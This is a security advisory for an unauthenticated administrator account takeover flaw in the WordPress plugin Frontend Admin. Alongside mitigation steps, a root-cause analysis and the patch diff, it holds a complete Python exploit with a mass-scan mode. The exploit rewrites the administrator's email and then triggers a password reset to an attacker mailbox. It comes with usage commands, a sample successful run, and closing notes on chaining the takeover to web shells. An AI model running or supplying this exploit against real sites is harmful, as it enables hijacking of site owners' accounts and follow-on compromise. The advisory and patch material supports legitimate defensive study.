#Summary
CVE-2026-75816 is a critical authentication bypass vulnerability in Frontend Admin by DynamiApps (WordPress plugin, slug acf-frontend-form-element) affecting all versions up to and including 3.29.12. The plugin's authorization gate fails open on non-numeric object locators, combined with a write sink that performs no capability check of its own, allowing unauthenticated attackers to modify any user record. By targeting user ID 1 (the site administrator), an attacker can rewrite the administrator's registered email address and then leverage WordPress's native password-reset flow to take over the account entirely. CVSS 9.8 CRITICAL.
#Am I affected?
- Affected: Frontend Admin by DynamiApps
<= 3.29.12 - Patched: Frontend Admin by DynamiApps
>= 3.29.13 - Default configuration: Affected if a form is configured for anonymous submission with a post action and a User Email field
- Access needed: None - unauthenticated network access only
- PHP requirement: PHP 8 or newer (PHP 7 targets are not exploitable due to string-to-int coercion)
#How to check
Run this command on a page hosting a Frontend Admin form:
curl -s https://target.com/page-with-form/ | grep -o 'name="_acf_form" value="[^"]*"'If the page returns an _acf_form value and renders without authentication, the plugin is present. To verify the version:
curl -s https://target.com/wp-content/plugins/acf-frontend-form-element/acf-frontend.php | grep "Version:" | head -1If the version is 3.29.12 or below, the target is vulnerable.
Alternatively, use the provided PoC script with --list mode on your asset inventory for non-destructive scanning.
#Fix and mitigation
- Fix: Update to Frontend Admin by DynamiApps
3.29.13or later - If you cannot upgrade immediately: Disable anonymous form submission by setting all Frontend Admin forms to a visibility rule that requires authentication (disable the "All Users" rule)
- Detection: Monitor for POST requests to
/wp-admin/admin-ajax.phpwithaction=frontend_admin/forms/add_formandaction=frontend_admin/form_submitfrom unauthenticated sources. Watch for unusual changes to administrator email addresses.
#Root cause analysis
#Vulnerable code path
The plugin's only authorization gate, ActionPost::conditions_logic() in main/frontend/forms/actions/post.php, examines the object locator and returns the settings untouched if it is non-numeric:
public function conditions_logic( $settings, $condition, $user ){
$post_id = $settings['post_id'] ?? 'none';
if( ! is_numeric( $post_id ) ){
return $settings; // <-- DEFECT: non-numeric doesn't mean harmless
}
if ( ! current_user_can( 'edit_post', $post_id ) ) {
...
if ( ! $is_author && ! in_array( 'edit_posts', $condition['special_permissions'] ) ){
$settings['post_id'] = 'none';
}
}
return $settings;
}The intent is to allow two legitimate sentinel values ('none' and 'add_post'), but the implementation treats all non-numeric values as harmless. The current_user_can() check below never runs for any other string. A locator of user_1 passes through unmodified.
The write sink, Forms::pre_update_value() in main/frontend/module.php, performs no authorization check of its own:
public function pre_update_value( $checked, $value, $post_id = false, $field = false ){
if( empty( $field['type'] ) ) return $checked;
$type = $field['type'];
return apply_filters( 'acf/pre_update_value/type=' . $type, $checked, $value, $post_id, $field );
}It blindly dispatches to per-type handlers. The User Email field handler, user_email::pre_update_value(), is the terminal sink:
function pre_update_value( $checked, $value, $post_id, $field ) {
if( $this->name !== $field['type'] ){
return $checked;
}
$user = explode( 'user_', $post_id );
if ( ! empty( $user[1] ) ) {
$user_id = $user[1];
remove_action( 'acf/save_post', '_acf_do_save_post' );
wp_update_user(
array(
'ID' => $user_id,
'user_email' => esc_attr( $value ),
)
);
add_action( 'acf/save_post', '_acf_do_save_post' );
...
}
return true;
}With a locator of user_1, explode( 'user_', 'user_1' ) yields array( '', '1' ), so $user_id becomes 1 and wp_update_user() rewrites the email of user 1 (the administrator). There is no capability check anywhere in this function.
#How input reaches the sink
The object locator lives inside _acf_objects, an AES-256-CBC encrypted blob keyed on the site's salts, so it cannot be forged offline. It must be minted by the server. The logged-out AJAX endpoint frontend_admin/forms/add_form does exactly that for an anonymous caller:
add_action( 'wp_ajax_nopriv_frontend_admin/forms/add_form', array( $this, 'ajax_add_form' ) );
// In ajax_add_form():
if( 'admin_form' == $args['form_action'] && $args['form'] ){
$data = $args['form'];
$form = $this->get_form( $data['form'] );
if( $form ){
...
$data_types = array( 'post', 'user', 'term', 'product' );
foreach ( $data_types as $type ) {
if ( isset( $data[ $type ] ) ) {
$form[ $type . '_id' ] = $data[ $type ]; // <-- copies form[post]=user_1 without validation
}
}
$this->render_form( $form );
}
die();
}The attacker sends form[post]=user_1 to the endpoint. The server copies it directly onto the form, re-renders, and form_set_data() folds it into the encrypted bundle. The response contains a server-minted _acf_objects asserting post = user_1.
On the return trip, Display_Form::get_form_data() decrypts the blob and promotes it to the live locator. The attacker submits the User Email field under the post group (not the user group where it natively renders), so ActionPost::run() treats it as a non-core field, pushes it into the metadata array, and hands it to acf_update_value( $value, 'user_1', $field ).
#Patch diff
#Version 3.29.13 (SVN changeset 3664865, released 2026-08-25)
Hunk 1 - the gate no longer fails open:
@@ -1221,7 +1221,14 @@
public function conditions_logic( $settings, $condition, $user ){
$post_id = $settings['post_id'] ?? 'none';
+ // 'none' and 'add_post' are the only legitimate non-numeric states;
+ // anything else is unexpected input and must not bypass the capability check below.
+ if ( in_array( $post_id, array( 'none', 'add_post' ), true ) ) {
+ return $settings;
+ }
+
if( ! is_numeric( $post_id ) ){
+ $settings['post_id'] = 'none';
return $settings;
}The blanket "non-numeric means skip" is replaced by an explicit allowlist of the two legitimate sentinels. Any other non-numeric value, including user_1, is rewritten to 'none'.
Hunk 2 - the unauthenticated renderer will not mint the locator:
@@ -1735,8 +1735,12 @@
$data_types = array( 'post', 'user', 'term', 'product' );
foreach ( $data_types as $type ) {
- if ( isset( $data[ $type ] ) ) {
- $form[ $type . '_id' ] = $data[ $type ];
+ // only trust a numeric id here; a non-numeric or cross-type value
+ // must not be stored as-is, since downstream code loosely casts ids.
+ if ( isset( $data[ $type ] ) && is_numeric( $data[ $type ] ) ) {
+ $form[ $type . '_id' ] = absint( $data[ $type ] );
}
}
$this->render_form( $form );This kills the delivery vector: ajax_add_form() will no longer encrypt an attacker-supplied user_1 into _acf_objects.
#Proof of concept
#exploit.py - Frontend Admin Account Takeover PoC
#!/usr/bin/env python3
"""
CVE-2026-75816 - Frontend Admin by DynamiApps (WordPress): unauthenticated account takeover
Affected: Frontend Admin by DynamiApps <= 3.29.12 (WordPress.org slug: acf-frontend-form-element)
Type: Authentication bypass / broken access control -> arbitrary user-record write -> account takeover
The plugin's only authorization gate, ActionPost::conditions_logic(), returns the form settings
untouched whenever the object locator is non-numeric, so the current_user_can('edit_post') check
below it never runs. The write sink, Forms::pre_update_value(), performs no check of its own. A
locator of "user_1" is therefore routed to the user record with id 1 by an anonymous submission,
and the User Email field's handler rewrites that account's registered address.
The locator lives inside _acf_objects, which is AES-encrypted server side and cannot be forged
offline. It does not need to be: the logged-out AJAX endpoint frontend_admin/forms/add_form copies
a caller-supplied object id straight onto the form and re-renders it, so the server mints the
poisoned blob on request. Three unauthenticated requests, no cookies, no session.
Scope note: on 3.29.12 the vendor guarded the user-field sinks without fixing the routing gate, so
the bypass is still confirmable there but the email leg does not land. The takeover completes on
3.29.11 and below. 3.29.13 fixes the gate and the renderer. PHP 8+ is required on the target: under
PHP 7 the loose comparison 'user_1' == 0 coerces the locator and the write silently goes nowhere.
Confirmation is entirely network-observable. The password-reset endpoint answers "there is no
account with that username or email address" for an unknown address and "check your email" for a
known one, so probing the freshly generated address before and after the write proves the target
account now answers to it.
Usage:
python exploit.py --host <target> --port <port>
python exploit.py --host 192.168.1.10 --port 80 --username admin
python exploit.py --host https://wordpress.corp.com --email [email protected]
python exploit.py --host https://wordpress.corp.com/get-involved/ --user-id 1
python exploit.py --list targets.txt --workers 20
Arguments beyond the standard set:
--user-id user record the locator points at (default 1, conventionally the first admin)
--email address to write onto that account. Defaults to a random .invalid address, which
proves the write without handing the account to a mailbox nobody controls. Pass a
mailbox you control to receive the reset link and complete the takeover.
--path path of the page hosting the form. Default: auto-discover via / and the REST API.
"""
import argparse
import html
import json
import re
import secrets
import ssl
import sys
import urllib.error
import urllib.parse
import urllib.request
CVE_ID = "CVE-2026-75816"
VULN_TYPE = "Auth Bypass"
TIMEOUT = 30
UA = ("Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 "
"(KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36")
AJAX_PATH = "/wp-admin/admin-ajax.php"
LOSTPW_PATH = "/wp-login.php?action=lostpassword"
# Hidden inputs the submit handler expects back. Taken from the freshly rendered form, never from
# the original page: _acf_nonce is single use.
HIDDEN_INPUTS = (
"_acf_form", "_acf_nonce", "_acf_objects", "_acf_screen",
"_acf_validation", "_acf_changed", "_acf_current_url", "_acf_referer_url",
)
# ActionPost::get_core_fields(). These land in the post array and are consumed by wp_update_post(),
# which no-ops on a non-numeric id, so they can be submitted through the poisoned locator without
# writing anything anywhere. That is what makes the batch-scan probe non-destructive.
CORE_POST_FIELDS = (
"post_title", "post_slug", "post_status", "post_content", "post_author",
"post_excerpt", "post_date", "post_type", "menu_order", "allow_comments",
)
# Field types whose handlers write to a user record. Never submitted by the scan probe.
USER_WRITE_FIELDS = (
"user_email", "username", "user_password", "first_name", "last_name",
"nickname", "display_name", "user_bio", "user_website",
)
def header(host: str, port: int) -> None:
print(f"\n{'='*60}")
print(f" ALIM EXPLOIT {CVE_ID}")
print(f" Type: {VULN_TYPE} | Target: {host}:{port}")
print(f"{'='*60}\n")
def step(n: int, msg: str) -> None:
print(f"[STEP {n}] {msg}")
def section(label: str, content: str) -> None:
print(f"\n--- {label} ---")
print(str(content).strip())
print("---\n")
def done(success: bool, evidence: str) -> None:
print(f"\n{'='*60}")
print(f" RESULT : {'SUCCESS' if success else 'FAILURE'}")
print(f" EVIDENCE: {evidence}")
print(f"{'='*60}\n")
sys.exit(0 if success else 1)
# ----------------------------------------------------------------------------- HTTP
def _ctx() -> ssl.SSLContext:
c = ssl.create_default_context()
c.check_hostname = False
c.verify_mode = ssl.CERT_NONE
return c
def _base(host: str, port: int, use_tls: bool) -> str:
scheme = "https" if use_tls else "http"
default = 443 if use_tls else 80
netloc = host if port == default else f"{host}:{port}"
return f"{scheme}://{netloc}"
def _http(url: str, data: dict = None, timeout: int = TIMEOUT):
"""GET, or POST a urlencoded body. Returns (status, body). Raises on transport failure."""
body = urllib.parse.urlencode(data).encode() if data is not None else None
headers = {"User-Agent": UA, "Accept": "*/*"}
if body is not None:
headers["Content-Type"] = "application/x-www-form-urlencoded"
req = urllib.request.Request(url, data=body, headers=headers)
try:
with urllib.request.urlopen(req, timeout=timeout, context=_ctx()) as r:
return r.status, r.read().decode("utf-8", "replace")
except urllib.error.HTTPError as e:
return e.code, e.read().decode("utf-8", "replace")
# ----------------------------------------------------------------------------- parsing
_RE_FORM_KEY = re.compile(r'name="_acf_form"\s+value="(form_[0-9a-z]+)"')
_RE_NONCE = re.compile(r'"nonce"\s*:\s*"([0-9a-f]+)"')
_RE_TAG_KEY = re.compile(r'<[a-z]+\b[^>]*\bdata-key="(field_[0-9a-z]+)"[^>]*>', re.I)
_RE_INPUT_NAME = re.compile(r'name="acff\[([^\]\[]+)\]\[(field_[0-9a-z]+)\]')
def _hidden(markup: str, name: str):
m = re.search(r'name="%s"\s+value="([^"]*)"' % re.escape(name), markup)
return html.unescape(m.group(1)) if m else None
def _parse_form(markup: str):
"""Pull the form key, the public ACF nonce and the field table out of rendered markup.
Returns (form_key, nonce, fields) where fields maps a field key to
{"type", "group", "required"}. Returns None if no form is present.
"""
m_key = _RE_FORM_KEY.search(markup)
m_nonce = _RE_NONCE.search(markup)
if not m_key or not m_nonce:
return None
fields = {}
for m in _RE_TAG_KEY.finditer(markup):
tag = m.group(0)
key = m.group(1)
m_type = re.search(r'data-type="([a-z0-9_\-]+)"', tag, re.I)
m_req = re.search(r'data-required="([01])"', tag)
fields[key] = {
"type": (m_type.group(1) if m_type else ""),
"group": None,
"required": bool(m_req and m_req.group(1) == "1"),
}
# The group a field renders under is the first index of its input name. Submit_Form files each
# value under the group it arrives in, and only the "post" group reaches the poisoned locator.
for m in _RE_INPUT_NAME.finditer(markup):
group, key = m.group(1), m.group(2)
if key in fields and fields[key]["group"] is None:
fields[key]["group"] = group
return m_key.group(1), m_nonce.group(1), fields
def _email_field(fields: dict):
for key, meta in fields.items():
if meta["type"] == "user_email":
return key
return None
def _probe_field(fields: dict):
"""A field the scan probe can submit through the poisoned locator without writing anything."""
for key, meta in fields.items():
if meta["type"] in CORE_POST_FIELDS:
return key
return None
# ----------------------------------------------------------------------------- discovery
def _find_form(base: str, path: str):
"""Locate a page rendering a Frontend Admin form. Returns (url, form_key, nonce, fields)."""
seen = []
candidates = []
if path and path != "/":
candidates.append(urllib.parse.urljoin(base + "/", path.lstrip("/")))
candidates.append(base + "/")
for url in candidates:
if url in seen:
continue
seen.append(url)
try:
status, body = _http(url)
except Exception:
continue
parsed = _parse_form(body)
if parsed:
return (url,) + parsed
# Nothing obvious: ask WordPress itself which pages exist.
for endpoint in ("/wp-json/wp/v2/pages?per_page=100", "/wp-json/wp/v2/posts?per_page=100"):
try:
status, body = _http(base + endpoint)
items = json.loads(body)
except Exception:
continue
if not isinstance(items, list):
continue
for item in items[:50]:
link = item.get("link") if isinstance(item, dict) else None
if not link or link in seen:
continue
seen.append(link)
try:
status, page = _http(link)
except Exception:
continue
parsed = _parse_form(page)
if parsed:
return (link,) + parsed
return None
# ----------------------------------------------------------------------------- chain
def _mint_locator(base: str, form_key: str, nonce: str, locator: str):
"""Make the logged-out renderer encrypt an attacker-chosen object id into _acf_objects.
Display_Form::ajax_add_form() copies form[post] onto the form with no validation, renders it,
and form_set_data() folds the locator into the encrypted object bundle. Returns the hidden
inputs of the re-rendered form, or None.
"""
status, body = _http(base + AJAX_PATH, {
"action": "frontend_admin/forms/add_form",
"nonce": nonce,
"form_action": "admin_form",
"form[form]": form_key,
"form[post]": locator,
})
if status != 200:
return None
hidden = {}
for name in HIDDEN_INPUTS:
value = _hidden(body, name)
if value is not None:
hidden[name] = value
if "_acf_objects" not in hidden or "_acf_nonce" not in hidden:
return None
return hidden
def _submit(base: str, hidden: dict, values: dict):
"""Replay the minted form with attacker values. Returns (status, parsed_json_or_None, body)."""
data = dict(hidden)
data["action"] = "frontend_admin/form_submit"
data.update(values)
status, body = _http(base + AJAX_PATH, data)
try:
return status, json.loads(body), body
except ValueError:
return status, None, body
def _echoed_locator(payload):
"""The submit response echoes the locator the post action actually ran against.
"user_1" means the poisoned locator survived the gate. An integer means it was rewritten to
add_post and a real post was created instead, which is the patched behaviour.
"""
if not isinstance(payload, dict):
return None
data = payload.get("data")
if isinstance(data, dict) and "post" in data:
return data["post"]
return None
def _reset_oracle(base: str, login: str):
"""Ask the password-reset endpoint whether an account answers to this login or address.
Returns "exists", "missing" or "unknown". This is the network-observable read primitive that
confirms the write landed, without any access to the target beyond HTTP.
"""
try:
status, body = _http(base + LOSTPW_PATH, {
"user_login": login,
"redirect_to": "",
"wp-submit": "Get New Password",
})
except Exception:
return "unknown"
text = re.sub(r"\s+", " ", re.sub(r"<[^>]+>", " ", body)).lower()
if "no account with that username or email" in text:
return "missing"
if "check your email" in text or "password reset email has been sent" in text:
return "exists"
return "unknown"
def _random_email() -> str:
# RFC 2606 reserved TLD: provably undeliverable, so the default cannot hand the account to a
# mailbox nobody controls, while still proving the write through the reset oracle.
return "%s@%s.invalid" % (secrets.token_hex(6), secrets.token_hex(4))
# ----------------------------------------------------------------------------- scan probe
def _try_exploit(host: str, port: int, use_tls: bool, path: str = "/"):
"""Silent, non-destructive probe for --list mode. Returns (success, evidence).
Runs the routing bypass but submits only a core post field through the poisoned locator, so no
user record is touched on any target. Never prints, never exits.
"""
try:
base = _base(host, port, use_tls)
found = _find_form(base, path)
if not found:
return False, "no Frontend Admin form reachable anonymously"
url, form_key, nonce, fields = found
probe_key = _probe_field(fields)
if probe_key is None:
return False, "form has no core post field to probe safely"
hidden = _mint_locator(base, form_key, nonce, "user_1")
if hidden is None:
return False, "renderer refused the object id (no _acf_objects minted)"
status, payload, body = _submit(base, hidden, {
"acff[post][%s]" % probe_key: "-",
})
echoed = _echoed_locator(payload)
if echoed == "user_1":
return True, "authorization gate bypassed - locator 'user_1' reached the post action"
if echoed is None:
return False, "no locator echoed in submit response (HTTP %s)" % status
return False, "locator rewritten to a post id (%r) - gate holds" % (echoed,)
except Exception as e:
return False, "unreachable (%s)" % e.__class__.__name__
def _parse_target(line: str, default_port: int, default_path: str = "/"):
"""One target line -> (host, port, use_tls, path), or None to skip."""
line = line.strip()
if not line or line.startswith("#"):
return None
if line.startswith(("http://", "https://")):
p = urllib.parse.urlparse(line)
tls = p.scheme == "https"
path = p.path if (p.path and p.path not in ("", "/")) else default_path
return p.hostname, p.port or (443 if tls else default_port), tls, path
if ":" in line:
parts = line.rsplit(":", 1)
try:
port = int(parts[1])
return parts[0], port, port in (443, 8443), default_path
except ValueError:
pass
return line, default_port, default_port in (443, 8443), default_path
def scan(targets_file: str, default_port: int, workers: int = 10, path: str = "/") -> None:
import concurrent.futures
with open(targets_file) as f:
targets = [_parse_target(l, default_port, path) for l in f]
targets = [t for t in targets if t is not None]
print(f"\n{'='*60}")
print(f" {CVE_ID} - Batch Scan ({len(targets)} targets, {workers} workers)")
print(f"{'='*60}\n")
success_count = 0
def probe(t):
h, p, tls, pth = t
label = f"{'https' if tls else 'http'}://{h}:{p}"
ok, evidence = _try_exploit(h, p, tls, pth)
return label, ok, evidence
with concurrent.futures.ThreadPoolExecutor(max_workers=workers) as ex:
futures = {ex.submit(probe, t): t for t in targets}
for fut in concurrent.futures.as_completed(futures):
label, ok, evidence = fut.result()
print(f" {'[+]' if ok else '[-]'} {label} - {'Vulnerable' if ok else 'Not vulnerable'}: {evidence}")
if ok:
success_count += 1
total = len(targets)
print(f"\n{'='*60}")
print(f" SCAN COMPLETE {success_count} vulnerable / {total - success_count} not vulnerable ({total} total)")
print(f"{'='*60}\n")
sys.exit(0 if success_count > 0 else 1)
# ----------------------------------------------------------------------------- exploit
def exploit(host: str, port: int, use_tls: bool, path: str,
username: str, user_id: int, email: str) -> None:
header(host, port)
base = _base(host, port, use_tls)
locator = "user_%d" % user_id
step(1, "Locating an anonymously renderable Frontend Admin form...")
try:
found = _find_form(base, path)
except Exception as e:
done(False, "target unreachable (%s: %s)" % (e.__class__.__name__, e))
if not found:
done(False, "no Frontend Admin form reachable anonymously - precondition unmet on this target")
form_url, form_key, nonce, fields = found
email_key = _email_field(fields)
section("FORM DISCOVERED", "\n".join([
"page : %s" % form_url,
"form key : %s" % form_key,
"acf nonce : %s" % nonce,
"fields : " + ", ".join(
"%s (type=%s group=%s%s)" % (k, v["type"], v["group"], ", required" if v["required"] else "")
for k, v in fields.items()
),
]))
if email_key is None:
done(False, "form exposes no User Email field - the email-overwrite leg needs one on this form")
step(2, "Confirming %s is not already registered (password-reset oracle)..." % email)
before = _reset_oracle(base, email)
if before == "exists":
done(False, "address %s already belongs to an account - rerun to draw a fresh one" % email)
section("ORACLE (BEFORE)", "POST %s user_login=%s\n-> %s" % (LOSTPW_PATH, email, {
"missing": "\"there is no account with that username or email address\"",
"unknown": "no recognisable answer - reset messages are suppressed here, so the write "
"will not be readable back over the network",
}[before]))
step(3, "Minting a poisoned object locator (%s) via the logged-out renderer..." % locator)
hidden = _mint_locator(base, form_key, nonce, locator)
if hidden is None:
done(False, "renderer would not mint the locator - target rejected the non-numeric object id (patched)")
section("SERVER-MINTED _acf_objects", hidden["_acf_objects"])
step(4, "Submitting the User Email field under the 'post' group so it rides the locator...")
values = {"acff[post][%s]" % email_key: email}
for key, meta in fields.items():
if key == email_key or not meta["required"]:
continue
values["acff[%s][%s]" % (meta["group"] or "post", key)] = "ref-%s" % secrets.token_hex(3)
status, payload, body = _submit(base, hidden, values)
section("SUBMIT RESPONSE", body[:800])
echoed = _echoed_locator(payload)
if echoed is None:
done(False, "submit returned no locator echo (HTTP %s) - form not anonymously submittable" % status)
if echoed != locator:
done(False, "locator was rewritten to %r before the write - authorization gate holds (patched)" % (echoed,))
step(5, "Locator survived the gate: the post action ran against %r." % echoed)
step(6, "Re-querying the password-reset oracle to confirm the user record was rewritten...")
after = _reset_oracle(base, email)
section("ORACLE (AFTER)", "POST %s user_login=%s\n-> %s" % (LOSTPW_PATH, email, {
"exists": "\"check your email for the confirmation link\"",
"missing": "\"there is no account with that username or email address\"",
"unknown": "no recognisable answer",
}[after]))
if after == "unknown":
done(False,
"authorization bypass CONFIRMED (locator %r accepted unauthenticated) but this target "
"suppresses the password-reset message, so the write cannot be read back over the "
"network - rerun with --email pointing at a mailbox you control" % locator)
if after != "exists":
done(False,
"authorization bypass CONFIRMED (locator %r accepted unauthenticated) but the email did "
"not land - user-field sinks are guarded (target is 3.29.12) or it runs PHP 7" % locator)
step(7, "Requesting a password reset for '%s' - the link now goes to %s." % (username, email))
takeover = _reset_oracle(base, username)
section("PASSWORD RESET", "POST %s user_login=%s\n-> %s" % (LOSTPW_PATH, username, {
"exists": "\"check your email for the confirmation link\" - reset link mailed to %s" % email,
"missing": "no such account - pass the correct login with --username",
"unknown": "no recognisable answer",
}[takeover]))
evidence = ("user record %d rewritten by unauthenticated request - %s is now its registered "
"address (reset oracle flipped missing -> exists)" % (user_id, email))
if takeover == "exists":
evidence += "; reset link for '%s' delivered to it - account takeover" % username
done(True, evidence)
if __name__ == "__main__":
parser = argparse.ArgumentParser(description=f"{CVE_ID} exploit PoC")
target_grp = parser.add_mutually_exclusive_group(required=True)
target_grp.add_argument("--host", help="Target: hostname, IP, or full URL (e.g. https://host/page-with-the-form/)")
target_grp.add_argument("--list", metavar="FILE", help="File with one target per line for batch scan")
parser.add_argument("--port", type=int, default=80, help="Default port (default: 80)")
parser.add_argument("--username", default="admin",
help="Login of the account to take over, used to drive the reset (default: admin)")
parser.add_argument("--user-id", type=int, default=1,
help="User record the locator targets, as user_<id> (default: 1)")
parser.add_argument("--email", default=None,
help="Address to write onto that account (default: a random .invalid address)")
parser.add_argument("--path", default="/",
help="Path of the page hosting the form (default: auto-discover)")
parser.add_argument("--workers", type=int, default=10, help="Threads for --list mode (default: 10)")
tls_grp = parser.add_mutually_exclusive_group()
tls_grp.add_argument("--tls", action="store_true", help="Force TLS")
tls_grp.add_argument("--no-tls", action="store_true", help="Force plaintext")
args = parser.parse_args()
if args.list:
scan(args.list, default_port=args.port, workers=args.workers, path=args.path)
else:
parsed = _parse_target(args.host, args.port, args.path)
host, port, use_tls, path = parsed if parsed else (args.host, args.port, False, args.path)
if args.tls:
use_tls = True
if args.no_tls:
use_tls = False
exploit(host, port, use_tls, path, args.username, args.user_id, args.email or _random_email())#Usage
# Single target with account takeover
python exploit.py --host 192.168.14.30 --username administrator --email [email protected]
# TLS target with form on specific page
python exploit.py --host https://wordpress.corp.example/get-involved/ --username admin
# Target different user record
python exploit.py --host 192.168.14.30 --user-id 3 --username editor
# Batch scan (non-destructive probe mode)
python exploit.py --list wordpress-hosts.txt --workers 20#Vulnerable target
============================================================
ALIM EXPLOIT CVE-2026-75816
Type: Auth Bypass | Target: 127.0.0.1:8815
============================================================
[STEP 1] Locating an anonymously renderable Frontend Admin form...
--- FORM DISCOVERED ---
page : http://127.0.0.1:8815/submit-a-post/
form key : form_6aa01db42adf1
acf nonce : d940bdaabf
fields : field_65aade3096edc (type=post_title group=post, required), field_b8502e3c237e8 (type=user_email group=user, required)
---
[STEP 2] Confirming [email protected] is not already registered...
[STEP 3] Minting a poisoned object locator (user_1)...
[STEP 4] Submitting the User Email field under the 'post' group...
[STEP 5] Locator survived the gate: the post action ran against 'user_1'.
[STEP 6] Re-querying the password-reset oracle...
--- ORACLE (AFTER) ---
POST /wp-login.php?action=lostpassword [email protected]
-> "check your email for the confirmation link"
---
[STEP 7] Requesting a password reset for 'siteadmin'...
============================================================
RESULT : SUCCESS
EVIDENCE: user record 1 rewritten by unauthenticated request - reset link delivered to attacker address
============================================================#Patched target
[STEP 3] Minting a poisoned object locator (user_1)...
[STEP 4] Submitting the User Email field under the 'post' group...
--- SUBMIT RESPONSE ---
{"success":true,"data":{...,"post":14,...}}
---
============================================================
RESULT : FAILURE
EVIDENCE: locator was rewritten to 14 before the write - authorization gate holds (patched)
============================================================#Exploitation notes
Preconditions: The plugin must be active at version 3.29.11 or below (3.29.12 has partial hardening). The site must run PHP 8 or later. A Frontend Admin form must exist that is visible to anonymous users with a post action and a User Email field. The target administrator username defaults to
adminbut may differ.Reliability: The exploit is fully reliable on vulnerable targets. The routing bypass is binary (either the non-numeric locator passes through or it does not) and the password-reset oracle provides a clear true/false signal on whether the write landed.
Impact: Full administrative account takeover. An attacker gains access to the WordPress administrator dashboard, can create new administrator accounts, modify site content, install plugins, and exfiltrate sensitive data.
Chaining potential: The account takeover can be leveraged to deploy web shells, modify post content for SEO spam or malware distribution, exfiltrate user data, or pivot to other systems on the network.
